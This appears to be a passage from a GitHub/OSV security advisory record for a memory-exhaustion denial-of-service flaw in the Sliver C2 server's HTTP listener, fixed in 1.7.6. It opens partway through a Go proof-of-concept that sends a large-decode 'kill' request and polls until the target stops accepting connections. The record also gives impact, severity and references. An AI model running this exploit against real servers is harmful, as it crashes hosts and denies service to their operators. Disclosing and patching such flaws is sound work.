    suggest := mDt.Milliseconds() * 6 / 10\n                        if suggest < 30 {\n                                suggest = 30\n                        }\n                        fmt.Fprintf(os.Stderr, \"  fix: %s  or grow -probe-w/-probe-h\\n\",\n                                C(fmt.Sprintf(\"-threshold-ms %d\", suggest)))\n                        os.Exit(2)\n                }\n        }\n\n        if *scanOnly {\n                fmt.Println(pngN)\n                return\n        }\n\n        // ─── Phase 3: fire kill bomb ───\n        if !*silent {\n                fmt.Fprintf(os.Stderr, \"%s firing kill (%d MiB decode) at %s?n=%d\\n\",\n                        B(\"[*]\"), killMB, *target, pngN)\n        }\n        kCli := &http.Client{Timeout: *kTO}\n        killStart := time.Now()\n        done := make(chan struct{})\n        go func() {\n                dt := post(context.Background(), kCli, *target, kill, pngN)\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  kill returned in %.2fs\\n\", dt.Seconds())\n                }\n                close(done)\n        }()\n\n        if *noConf {\n                <-done\n                fmt.Println(pngN)\n                return\n        }\n\n        deadline := time.Now().Add(*kTO)\n        for time.Now().Before(deadline) {\n                time.Sleep(250 * time.Millisecond)\n                if !alive(hp, time.Second) {\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s killed in %.2fs (TCP refused at %s)\\n\",\n                                        G(\"[+] ★ TARGET DEAD ★\"), time.Since(killStart).Seconds(), hp)\n                        }\n                        fmt.Println(pngN)\n                        return\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"%s target alive after %s — try larger -kill-w/-kill-h\\n\", Y(\"[!]\"), *kTO)\n        os.Exit(1)\n}\n```\n\n### Impact\nThis vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.\n\n### Collaboration\nThis vulnerability was found with the help of Wencheng Xue (panwnvda).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/BishopFox/sliver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/security/advisories/GHSA-663m-7x7m-g4fw"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/BishopFox/sliver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BishopFox/sliver/releases/tag/v1.7.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-15T20:09:33Z",
    "nvd_published_at" : null
  }
}